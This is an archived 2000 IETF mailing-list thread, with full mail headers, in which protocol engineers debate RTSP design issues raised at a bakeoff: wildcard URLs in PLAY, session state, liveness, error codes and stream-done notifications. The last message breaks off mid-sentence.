	by zephyr.isi.edu (8.9.3/8.9.3) id JAA05343
	for confctrl-outgoing; Tue, 12 Sep 2000 09:44:34 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA05338
	for <confctrl@zephyr.isi.edu>; Tue, 12 Sep 2000 09:44:33 -0700 (PDT)
Received: from postman.ncube.com (postman.ncube.com [134.242.8.47])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id JAA16263
	for <confctrl@ISI.EDU>; Tue, 12 Sep 2000 09:44:34 -0700 (PDT)
Received: from db1.ncube.com (db1 [134.242.64.1])
	by postman.ncube.com (8.9.0/8.9.0) with SMTP id JAA14847;
	Tue, 12 Sep 2000 09:44:29 -0700 (PDT)
Received: from ncube.com by db1.ncube.com (SMI-8.6/SMI-SVR4)
	id JAA15302; Tue, 12 Sep 2000 09:52:25 -0700
Message-ID: <39BE5D65.AC98AFB7@ncube.com>
Date: Tue, 12 Sep 2000 09:44:21 -0700
From: Sean Sheedy <seans@ncube.com>
Organization: nCUBE Corporation
X-Mailer: Mozilla 4.75 [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Ron Frederick <ronf@entera.com>
CC: confctrl@ISI.EDU
Subject: Re: RTSP Bakeoff issues
References: <E13MJtb-0000D8-00@savage.entera.com>  
						 <39B7CA9E.F9555A5B@ncube.com> <E13X7Nd-0007dv-00@savage.entera.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Ron Frederick wrote:
>
> > >
> > > 2c. Finally, there were questions about whether it was legal to allow SETUPs
> > > for tracks from multiple different (possibly aggregate) objects in a single
> > > session, such that they could be controlled together using a single PLAY
> > > command. This seems like very useful functionality to me, but it raises
> > > questions about what URL should be used in the PLAY command in that case and
> > > there are some issues that come up between this and the proposals recently
> > > discussed here in the RTSP extensions draft draft-sheedy-mmusic-rtsp-ext-01.
> > > The proposal at the bakeoff was to allow a "*" in place of the URL in PLAY
> > > when a Session was specified, with the meaning being to play all the tracks
> > > that were SETUP in that session. However, if you want to support reuse of
> > > a single session for multiple different sets of streams as was described in
> > > the extensions draft, something more complicated is going to be required.
> > > Further work is needed to reconcile all of these cases.
> >
> > What if the server returns a dynamically created aggregate URL in the
> > SETUP response?  That way the client has an unambiguous name to use to
> > specify the entire collection.  For example:
> >
> > C->S  SETUP stream1
> > S->C  OK Session=1234 URI=myaggregate1
> > C->S  SETUP stream2 Session=1234
> > S->C  OK Session=1234 URI=myaggregate1
> > C->S  PLAY Session=1234 URI=myaggregate1
> > S->C  OK
>
> In a case like this, I'm still trying to understand what value the URI
> provides at all in the "PLAY", when you already have the Session field. In
> your example, you could do just as well leaving out the URI in the PLAY and
> just using a "*", along with Session: 1234.
> 
> The one place where I could see it potentially being useful would be if you
> wanted to set up several different pieces of content in the same session
> with the intent of playing alternate versions of them rather than playing
> all of them simultaneously. In that case, the URI in the PLAY could let you
> specify which subset of the items to play. This sounds complicated to
> implement from a server standpoint, though, and I'm not sure we'd want to
> mandate something like that in the spec.

I'm looking for a way to combine this use of "*" with that proposed in
my draft for use when changing URI's on PLAY.  How about the following,
which is admittedly a bit rough around the edges:

A "*" for the URI always matches the session's active URI.  The active
URI is maintained as part of the session state, and changes as the
session changes state.  At a high level, the active URI is one of: 
   - The currently playing URI, if in the playing state.
   - The previously played URI, if in the ready state and a previous
     play occurred.
   - The collection of all SETUP URI's, if in the ready state and no
     previous play occurred.

We can explicitly specify the changes to the active URI by adding to the
state diagram from the RFC:

 state       message received   next state   active URI becomes
 Init        SETUP              Ready        request
             TEARDOWN           Init         0
 Ready       PLAY               Playing      request
             SETUP              Ready        active + request
             TEARDOWN           Init         0
             RECORD             Recording    request
 Playing     PLAY               Playing      request
             PAUSE              Ready        active (no change)
             TEARDOWN           Init         0
             SETUP              Playing      ???
 Recording   RECORD             Recording    request
             PAUSE              Ready        active (no change)
             TEARDOWN           Init         0
             SETUP              Recording    ???

Definitions:
  active  = active URI
  request = URI in request

It's not clear to me what the proper behavior is when a SETUP is
received in the playing or recording states.

A "*" URI which matches a null URI is an error.  In other words, a
"SETUP * ..." from init state is illegal.

> > We (nCUBE) have implemented queued PLAY.  MPEG-2 doesn't have the time
> > stamp problems, etc., on transitions, fortunately.  Even so, we've found
> > callbacks on transitions useful for clients, who typically want to track
> > the presentation state.
>
> How do you know what sequence number to return in the RTP-Info in the case of
> queued play, when you haven't finished playing the previous piece(s)? Also,
> when you say that MPEG-2 doesn't have the timestamp problem, is that just
> because all of your movies have a known length up front and a common RTP
> clock rate, or is there something more to it than that?

As Dirk has pointed out, this isn't an issue when delivering MPEG-2
without RTP encapsulation (our usual environment).

> > [clarification of session timeouts]
> 
> The explicit approach is definitely simplest. In addition, though, I think
> we definitely want to allow for RTCP-based liveness, so that clients don't
> necessarily need to keep the control connection open at all during a
> long playing stream. I'm not really sure we need to worry much about a
> single control connection having so many sessions that an implicit type
> of approach is required, but if that is an issue, I think we need to very
> clearly define how streams are associated with a given connection...

After reading the rest of the discussion about this issue, I've come
to agree that explicit references to sessions and RTCP-based
liveness are the mechanisms appropriate for the spec.  I think the
following still needs to be added:

 - A well-defined mechanism for client and server to negotiate
   an appropriate liveness strategy.  SIP or a subset thereof
   seems like the appropriate approach.

 - The option for clients to use multiple session identifiers
   on GET_PARAMETER liveness messages.  This would minimize the
   overhead for clients controlling multiple sessions (e.g.,
   the bridge servers in Dirk's previous message).

Sean

-- 
Sean Sheedy                                         seans@ncube.com
(503) 531-6427

From confctrl-owner  Tue Sep 12 11:25:37 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA09043
	for confctrl-outgoing; Tue, 12 Sep 2000 11:25:37 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA09038
	for <confctrl@zephyr.isi.edu>; Tue, 12 Sep 2000 11:25:36 -0700 (PDT)
Received: from prognet.com (prognet.com [205.219.198.1])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id LAA15102
	for <confctrl@ISI.EDU>; Tue, 12 Sep 2000 11:25:35 -0700 (PDT)
Received: from tinkywinky ([172.23.100.74])
	by prognet.com (8.9.2/8.9.0) with SMTP id LAA30158;
	Tue, 12 Sep 2000 11:25:31 -0700 (PDT)
Message-Id: <3.0.32.20000912114040.00f143b0@mail.real.com>
X-Sender: jcarlton@mail.real.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Tue, 12 Sep 2000 11:40:42 -0700
To: Sean Sheedy <seans@ncube.com>, Ron Frederick <ronf@entera.com>
From: John Carlton <jcarlton@real.com>
Subject: Re: RTSP Bakeoff issues
Cc: confctrl@ISI.EDU
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I don't like the use "*" in place of the URL in any packet for any reason.
It can be bad for proxies if misused and its especially dangerous if you
start getting fancy with transient connections or sending commands via UDP.

For consistency can we agree to deprecate use of "*" and instead require at
least "rtsp://host[:port]"?

thanks,

John Carlton


At 09:44 AM 9/12/00 -0700, Sean Sheedy wrote:
>Ron Frederick wrote:
>>
>> > >
>> > > 2c. Finally, there were questions about whether it was legal to
allow SETUPs
>> > > for tracks from multiple different (possibly aggregate) objects in a
single
>> > > session, such that they could be controlled together using a single
PLAY
>> > > command. This seems like very useful functionality to me, but it raises
>> > > questions about what URL should be used in the PLAY command in that
case and
>> > > there are some issues that come up between this and the proposals
recently
>> > > discussed here in the RTSP extensions draft
draft-sheedy-mmusic-rtsp-ext-01.
>> > > The proposal at the bakeoff was to allow a "*" in place of the URL
in PLAY
>> > > when a Session was specified, with the meaning being to play all the
tracks
>> > > that were SETUP in that session. However, if you want to support
reuse of
>> > > a single session for multiple different sets of streams as was
described in
>> > > the extensions draft, something more complicated is going to be
required.
>> > > Further work is needed to reconcile all of these cases.
>> >
>> > What if the server returns a dynamically created aggregate URL in the
>> > SETUP response?  That way the client has an unambiguous name to use to
>> > specify the entire collection.  For example:
>> >
>> > C->S  SETUP stream1
>> > S->C  OK Session=1234 URI=myaggregate1
>> > C->S  SETUP stream2 Session=1234
>> > S->C  OK Session=1234 URI=myaggregate1
>> > C->S  PLAY Session=1234 URI=myaggregate1
>> > S->C  OK
>>
>> In a case like this, I'm still trying to understand what value the URI
>> provides at all in the "PLAY", when you already have the Session field. In
>> your example, you could do just as well leaving out the URI in the PLAY and
>> just using a "*", along with Session: 1234.
>> 
>> The one place where I could see it potentially being useful would be if you
>> wanted to set up several different pieces of content in the same session
>> with the intent of playing alternate versions of them rather than playing
>> all of them simultaneously. In that case, the URI in the PLAY could let you
>> specify which subset of the items to play. This sounds complicated to
>> implement from a server standpoint, though, and I'm not sure we'd want to
>> mandate something like that in the spec.
>
>I'm looking for a way to combine this use of "*" with that proposed in
>my draft for use when changing URI's on PLAY.  How about the following,
>which is admittedly a bit rough around the edges:
>
>A "*" for the URI always matches the session's active URI.  The active
>URI is maintained as part of the session state, and changes as the
>session changes state.  At a high level, the active URI is one of: 
>   - The currently playing URI, if in the playing state.
>   - The previously played URI, if in the ready state and a previous
>     play occurred.
>   - The collection of all SETUP URI's, if in the ready state and no
>     previous play occurred.
>
>We can explicitly specify the changes to the active URI by adding to the
>state diagram from the RFC:
>
> state       message received   next state   active URI becomes
> Init        SETUP              Ready        request
>             TEARDOWN           Init         0
> Ready       PLAY               Playing      request
>             SETUP              Ready        active + request
>             TEARDOWN           Init         0
>             RECORD             Recording    request
> Playing     PLAY               Playing      request
>             PAUSE              Ready        active (no change)
>             TEARDOWN           Init         0
>             SETUP              Playing      ???
> Recording   RECORD             Recording    request
>             PAUSE              Ready        active (no change)
>             TEARDOWN           Init         0
>             SETUP              Recording    ???
>
>Definitions:
>  active  = active URI
>  request = URI in request
>
>It's not clear to me what the proper behavior is when a SETUP is
>received in the playing or recording states.
>
>A "*" URI which matches a null URI is an error.  In other words, a
>"SETUP * ..." from init state is illegal.
>
>> > We (nCUBE) have implemented queued PLAY.  MPEG-2 doesn't have the time
>> > stamp problems, etc., on transitions, fortunately.  Even so, we've found
>> > callbacks on transitions useful for clients, who typically want to track
>> > the presentation state.
>>
>> How do you know what sequence number to return in the RTP-Info in the
case of
>> queued play, when you haven't finished playing the previous piece(s)? Also,
>> when you say that MPEG-2 doesn't have the timestamp problem, is that just
>> because all of your movies have a known length up front and a common RTP
>> clock rate, or is there something more to it than that?
>
>As Dirk has pointed out, this isn't an issue when delivering MPEG-2
>without RTP encapsulation (our usual environment).
>
>> > [clarification of session timeouts]
>> 
>> The explicit approach is definitely simplest. In addition, though, I think
>> we definitely want to allow for RTCP-based liveness, so that clients don't
>> necessarily need to keep the control connection open at all during a
>> long playing stream. I'm not really sure we need to worry much about a
>> single control connection having so many sessions that an implicit type
>> of approach is required, but if that is an issue, I think we need to very
>> clearly define how streams are associated with a given connection...
>
>After reading the rest of the discussion about this issue, I've come
>to agree that explicit references to sessions and RTCP-based
>liveness are the mechanisms appropriate for the spec.  I think the
>following still needs to be added:
>
> - A well-defined mechanism for client and server to negotiate
>   an appropriate liveness strategy.  SIP or a subset thereof
>   seems like the appropriate approach.
>
> - The option for clients to use multiple session identifiers
>   on GET_PARAMETER liveness messages.  This would minimize the
>   overhead for clients controlling multiple sessions (e.g.,
>   the bridge servers in Dirk's previous message).
>
>Sean
>
>-- 
>Sean Sheedy                                         seans@ncube.com
>(503) 531-6427
>
>

From confctrl-owner  Tue Sep 12 13:31:12 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id NAA14338
	for confctrl-outgoing; Tue, 12 Sep 2000 13:31:12 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA14330
	for <confctrl@zephyr.isi.edu>; Tue, 12 Sep 2000 13:31:11 -0700 (PDT)
Received: from rum.isi.edu (rum.isi.edu [128.9.160.237])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA14935
	for <confctrl@isi.edu>; Tue, 12 Sep 2000 13:31:11 -0700 (PDT)
From: Joe Touch <touch@ISI.EDU>
Received: (from touch@localhost)
	by rum.isi.edu (8.9.3/8.8.6) id NAA29320
	for confctrl@isi.edu; Tue, 12 Sep 2000 13:31:10 -0700 (PDT)
Date: Tue, 12 Sep 2000 13:31:10 -0700 (PDT)
Message-Id: <200009122031.NAA29320@rum.isi.edu>
To: confctrl@ISI.EDU
Subject: Sigcomm 2000 - talks available on multimedia jukebox
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


		     ACM SIGCOMM 2000 Conference
		    Multicast jukebox announcement
		http://www.acm.org/sigcomm/sigcomm2000

SIGCOMM 2000 is the annual conference of the Special Interest Group on
Data Communication (SIGCOMM), a single-track, highly selective
conference with a technical program of 26 papers, tutorials by noted
instructors on the two days prior, and a work-in-progress poster
session and a social session on outrageous opinions. 

Multicast jukebox on the Internet

There is a multimedia jukebox available at Georgia Institute of
Technology, where Sigcomm 2000 (and Sigcomm 99) talks can be selected
for multicast. Instructions and further information is available at:

      http://imj.gatech.edu/




From confctrl-owner  Wed Sep 13 09:30:21 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id JAA23786
	for confctrl-outgoing; Wed, 13 Sep 2000 09:30:21 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA23781
	for <confctrl@zephyr.isi.edu>; Wed, 13 Sep 2000 09:30:20 -0700 (PDT)
Received: from postman.ncube.com (postman.ncube.com [134.242.8.47])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id JAA29354
	for <confctrl@ISI.EDU>; Wed, 13 Sep 2000 09:30:21 -0700 (PDT)
Received: from db1.ncube.com (db1 [134.242.64.1])
	by postman.ncube.com (8.9.0/8.9.0) with SMTP id JAA00603;
	Wed, 13 Sep 2000 09:30:11 -0700 (PDT)
Received: from ncube.com by db1.ncube.com (SMI-8.6/SMI-SVR4)
	id JAA01928; Wed, 13 Sep 2000 09:38:11 -0700
Message-ID: <39BFAB8E.1AE06731@ncube.com>
Date: Wed, 13 Sep 2000 09:30:06 -0700
From: Sean Sheedy <seans@ncube.com>
Organization: nCUBE Corporation
X-Mailer: Mozilla 4.75 [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: John Carlton <jcarlton@real.com>
CC: Ron Frederick <ronf@entera.com>, confctrl@ISI.EDU
Subject: Re: RTSP Bakeoff issues
References: <3.0.32.20000912114040.00f143b0@mail.real.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

John Carlton wrote:
> For consistency can we agree to deprecate use of "*" and instead require at
> least "rtsp://host[:port]"?

I like this idea.  My only concern would be breaking backward
compatibility on OPTIONS requests if it were required rather than
recommended.

Sean

-- 
Sean Sheedy                                         seans@ncube.com
(503) 531-6427

From confctrl-owner  Wed Sep 13 10:29:20 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id KAA26604
	for confctrl-outgoing; Wed, 13 Sep 2000 10:29:20 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA26599
	for <confctrl@zephyr.isi.edu>; Wed, 13 Sep 2000 10:29:19 -0700 (PDT)
Received: from postman.ncube.com (postman.ncube.com [134.242.8.47])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id KAA16791
	for <confctrl@ISI.EDU>; Wed, 13 Sep 2000 10:29:19 -0700 (PDT)
Received: from db1.ncube.com (db1 [134.242.64.1])
	by postman.ncube.com (8.9.0/8.9.0) with SMTP id KAA01894
	for <confctrl@ISI.EDU>; Wed, 13 Sep 2000 10:29:14 -0700 (PDT)
Received: from ncube.com by db1.ncube.com (SMI-8.6/SMI-SVR4)
	id KAA03061; Wed, 13 Sep 2000 10:37:16 -0700
Message-ID: <39BFB967.5E579B45@ncube.com>
Date: Wed, 13 Sep 2000 10:29:11 -0700
From: Sean Sheedy <seans@ncube.com>
Organization: nCUBE Corporation
X-Mailer: Mozilla 4.75 [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: More RTSP suggestions
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

A few more suggestions for the RTSP draft:

   * Clients often want to know the location in a presentation at which
     a PAUSE occurred.  The spec should recommend that servers return
     the paused location with a Range header in the PAUSE reply.  (I
     vaguely recall that this may have been brought up earlier.  My
     apologies if this one has already been covered.)

   * Large installations with customized servers and clients often want
     to use some deployment specific error codes.  The spec should
     reserve some error codes (for example, 490-499 and 590-599) for
     deployment specific errors.

   * Response code 100 is included in the spec, but no details are
     provided about how it should be used.  Should clients and servers
     use it in a manner analogous to that defined for HTTP/1.1?  If so,
     this should be explicitly called out.  Personally, I would prefer
     it be removed entirely.  I don't think HTTP/1.1 type behavior is
     required for RTSP, and would complicate implementations.

   * Sometimes authorization data (such as encryption keys) for pieces
     of content needs to be exchanged between client and server during
     SETUP.  I've seen several approaches to doing this:
        o In separate headers
        o As part of the Transport header
        o In a message body on SETUP
     Recommendations about the preferred approach would be helpful.  I'm
     not sure that this belongs in the RTSP spec, however.  Maybe a
     separate document?

Sean

--
Sean Sheedy                                         seans@ncube.com
(503) 531-6427

From confctrl-owner  Wed Sep 13 11:36:04 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA00137
	for confctrl-outgoing; Wed, 13 Sep 2000 11:36:04 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA00132
	for <confctrl@zephyr.isi.edu>; Wed, 13 Sep 2000 11:36:02 -0700 (PDT)
Received: from havoc.entera.com (havoc.entera.com [206.165.109.130])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id LAA07022
	for <confctrl@isi.edu>; Wed, 13 Sep 2000 11:36:04 -0700 (PDT)
Received: from savage.entera.com ([10.0.1.19]) by havoc.entera.com
          (Post.Office MTA v3.5.3 release 223 ID# 0-68752U400L100S0V35)
          with ESMTP id com; Wed, 13 Sep 2000 11:36:43 -0700
Received: from localhost
	([127.0.0.1] helo=entera.com ident=ronf)
	by savage.entera.com with esmtp (Exim 3.16 #1 (Debian))
	id 13ZHNc-0001fc-00; Wed, 13 Sep 2000 11:35:32 -0700
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
To: Sean Sheedy <seans@ncube.com>
cc: confctrl@ISI.EDU
Subject: Re: More RTSP suggestions 
In-Reply-To: Message from Sean Sheedy <seans@ncube.com> 
   of "Wed, 13 Sep 2000 10:29:11 PDT." <39BFB967.5E579B45@ncube.com> 
References: <39BFB967.5E579B45@ncube.com> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Wed, 13 Sep 2000 11:35:32 -0700
From: ronf@entera.com (Ron Frederick)
Message-Id: <E13ZHNc-0001fc-00@savage.entera.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

In message <39BFB967.5E579B45@ncube.com> you write:
>    * Clients often want to know the location in a presentation at which
>      a PAUSE occurred.  The spec should recommend that servers return
>      the paused location with a Range header in the PAUSE reply.  (I
>      vaguely recall that this may have been brought up earlier.  My
>      apologies if this one has already been covered.)
> 
This could be done in the PAUSE reply, but I'd actually rather see this
done as a general "stream done" message of some kind that gets sent whenever
the server transitions from the Playing state to the Ready state, or when
it transitions from playing one segment to another during queued PLAY. This
message could be used to deliver not only the URL and range that just finished
playing but also RTP-Info for RTP streams saying where the boundary was
in sequence number and timestamp between this data and the next (if any).
This seems much cleaner to me that what clients typically have to do now,
where they just assume the server has stopped playing after the amount of
time a play request corresponded to has elapsed.
--
Ron Frederick
ronf@entera.com



From confctrl-owner  Wed Sep 13 16:42:22 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id QAA11294
	for confctrl-outgoing; Wed, 13 Sep 2000 16:42:22 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id QAA11289
	for <confctrl@zephyr.isi.edu>; Wed, 13 Sep 2000 16:42:19 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id QAA00992
	for <confctrl@ISI.EDU>; Wed, 13 Sep 2000 16:42:20 -0700 (PDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id TAA16883;
	Wed, 13 Sep 2000 19:42:11 -0400 (EDT)
Message-ID: <39C010D3.FE5B27B@cs.columbia.edu>
Date: Wed, 13 Sep 2000 19:42:11 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Ron Frederick <ronf@entera.com>
CC: Sean Sheedy <seans@ncube.com>, confctrl@ISI.EDU
Subject: Re: More RTSP suggestions
References: <39BFB967.5E579B45@ncube.com> <E13ZHNc-0001fc-00@savage.entera.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Ron Frederick wrote:
> 
> In message <39BFB967.5E579B45@ncube.com> you write:
> >    * Clients often want to know the location in a presentation at which
> >      a PAUSE occurred.  The spec should recommend that servers return
> >      the paused location with a Range header in the PAUSE reply.  (I
> >      vaguely recall that this may have been brought up earlier.  My
> >      apologies if this one has already been covered.)
> >
> This could be done in the PAUSE reply, but I'd actually rather see this
> done as a general "stream done" message of some kind that gets sent whenever
> the server transitions from the Playing state to the Ready state, or when
> it transitions from playing one segment to another during queued PLAY. This
> message could be used to deliver not only the URL and range that just finished
> playing but also RTP-Info for RTP streams saying where the boundary was
> in sequence number and timestamp between this data and the next (if any).
> This seems much cleaner to me that what clients typically have to do now,
> where they just assume the server has stopped playing after the amount of
> time a play request corresponded to has elapsed.

My major concern is that server-to-client messages should be used very
sparingly, since they may not work in firewalled networks. Another
problem is to make sure this is somehow synchronized with the playout.
How useful is it to know that 30 seconds ago, a transition happened,
after RTP packets for the new segment have started to arrive?


> --
> Ron Frederick
> ronf@entera.com

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Wed Sep 13 17:44:33 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id RAA13586
	for confctrl-outgoing; Wed, 13 Sep 2000 17:44:33 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id RAA13581
	for <confctrl@zephyr.isi.edu>; Wed, 13 Sep 2000 17:44:29 -0700 (PDT)
Received: from havoc.entera.com (havoc.entera.com [206.165.109.130])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id RAA16620
	for <confctrl@isi.edu>; Wed, 13 Sep 2000 17:44:29 -0700 (PDT)
Received: from savage.entera.com ([10.0.1.19]) by havoc.entera.com
          (Post.Office MTA v3.5.3 release 223 ID# 0-68752U400L100S0V35)
          with ESMTP id com; Wed, 13 Sep 2000 17:45:10 -0700
Received: from localhost
	([127.0.0.1] helo=entera.com ident=ronf)
	by savage.entera.com with esmtp (Exim 3.16 #1 (Debian))
	id 13ZN8A-0002V3-00; Wed, 13 Sep 2000 17:43:58 -0700
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
cc: Sean Sheedy <seans@ncube.com>, confctrl@ISI.EDU
Subject: Re: More RTSP suggestions 
In-Reply-To: Message from Henning Schulzrinne <schulzrinne@cs.columbia.edu> 
   of "Wed, 13 Sep 2000 19:42:11 EDT." <39C010D3.FE5B27B@cs.columbia.edu> 
References: <39BFB967.5E579B45@ncube.com> <E13ZHNc-0001fc-00@savage.entera.com>  <39C010D3.FE5B27B@cs.columbia.edu> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Wed, 13 Sep 2000 17:43:58 -0700
From: ronf@entera.com (Ron Frederick)
Message-Id: <E13ZN8A-0002V3-00@savage.entera.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

In message <39C010D3.FE5B27B@cs.columbia.edu> you write:
> 
> My major concern is that server-to-client messages should be used very
> sparingly, since they may not work in firewalled networks. Another
> problem is to make sure this is somehow synchronized with the playout.
> How useful is it to know that 30 seconds ago, a transition happened,
> after RTP packets for the new segment have started to arrive?
> 
I'm not sure I see the firewall issue here, unless you are using UDP for
the RTSP messages (in which case getting _any_ replies back might be hard,
not just server to client messages). With TCP, as long as the client keeps
the connection open, it should be able to receive these messages even if
it is behind a firewall.

As for synchronization, there's no reason to believe that there would be
any significant delay in the delivery of the message in the typical case.
We already rely on this in the reply to "PLAY" messages -- some clients
need the "RTP-Info" information contained there and depend on having that
before the data packets start arriving (at least ideally). Given that this
stream done message isn't present now, it's likely clients will have to
treat it as a hint, meaning they'll still work if it doesn't arrive.
However, if it does arrive, they'll be able to do things like update their
UI to show that the stream has stopped playing (or which segment is playing)
without having to estimate based on total playout time.

In the specific case of queued PLAY, I still haven't gotten back a good
answer to how one is expected to return proper "RTP-Info" with the way the
spec is written right now. However, with the approach I described here, a
server and client can do the same thing for queued PLAY that they do right
now for playing the initial play spurt. The data will be delivered to the
client just before the server begins sending the packets from a new play
spurt (either in the initial PLAY reply or in one of these new messages),
and the client code can treat the two cases similarly.
--
Ron Frederick
ronf@entera.com



From confctrl-owner  Wed Sep 13 18:40:22 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id SAA15799
	for confctrl-outgoing; Wed, 13 Sep 2000 18:40:22 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id SAA15794
	for <confctrl@zephyr.isi.edu>; Wed, 13 Sep 2000 18:40:20 -0700 (PDT)
Received: from inet-smtp3.oracle.com (inet-smtp3.oracle.com [205.227.43.23])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id SAA29528
	for <confctrl@ISI.EDU>; Wed, 13 Sep 2000 18:40:21 -0700 (PDT)
Received: from gmgw02.us.oracle.com (gmgw02.us.oracle.com [130.35.60.93])
	by inet-smtp3.oracle.com (8.9.3/8.9.3) with ESMTP id SAA10988;
	Wed, 13 Sep 2000 18:40:54 -0700 (PDT)
Received: from oracle.com (dpranke-sun.us.oracle.com [130.35.80.99])
	by gmgw02.us.oracle.com (8.8.8+Sun/8.8.8) with ESMTP id SAA03402;
	Wed, 13 Sep 2000 18:40:20 -0700 (PDT)
Message-ID: <39C02C84.E4EB19A1@oracle.com>
Date: Wed, 13 Sep 2000 18:40:20 -0700
From: Dirk Pranke <dirk.pranke@oracle.com>
X-Mailer: Mozilla 4.61 [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Ron Frederick <ronf@entera.com>
CC: confctrl@ISI.EDU
Subject: Re: More RTSP suggestions
References: <39BFB967.5E579B45@ncube.com> <E13ZHNc-0001fc-00@savage.entera.com>  <39C010D3.FE5B27B@cs.columbia.edu> <E13ZN8A-0002V3-00@savage.entera.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Ron Frederick wrote:
> 
> In message <39C010D3.FE5B27B@cs.columbia.edu> you write:
> >
> > My major concern is that server-to-client messages should be used very
> > sparingly, since they may not work in firewalled networks. Another
> > problem is to make sure this is somehow synchronized with the playout.
> > How useful is it to know that 30 seconds ago, a transition happened,
> > after RTP packets for the new segment have started to arrive?
> >
> I'm not sure I see the firewall issue here, unless you are using UDP for
> the RTSP messages (in which case getting _any_ replies back might be hard,
> not just server to client messages). With TCP, as long as the client keeps
> the connection open, it should be able to receive these messages even if
> it is behind a firewall.
> 

The problem is the "as long as the client keeps the connection open" part ...
right now, RTSP will work just fine with the server allowed to drop the
connection at any time it's idle. Requiring the server to keep the connnection
open may increase the burden on servers and firewalls in an undesirable way,
but I don't claim to be an expert to know if this is an issue for sure.

> As for synchronization, there's no reason to believe that there would be
> any significant delay in the delivery of the message in the typical case.
> We already rely on this in the reply to "PLAY" messages -- some clients
> need the "RTP-Info" information contained there and depend on having that
> before the data packets start arriving (at least ideally). Given that this
> stream done message isn't present now, it's likely clients will have to
> treat it as a hint, meaning they'll still work if it doesn't arrive.
> However, if it does arrive, they'll be able to do things like update their
> UI to show that the stream has stopped playing (or which segment is playing)
> without having to estimate based on total playout time.
> 

I would agree that as long as you not trying to replace in-band, synchronized
notificant, then the delay is probably acceptable. But, this could be done
through a liveness ping to the server as well ... "hmm, I haven't gotten any
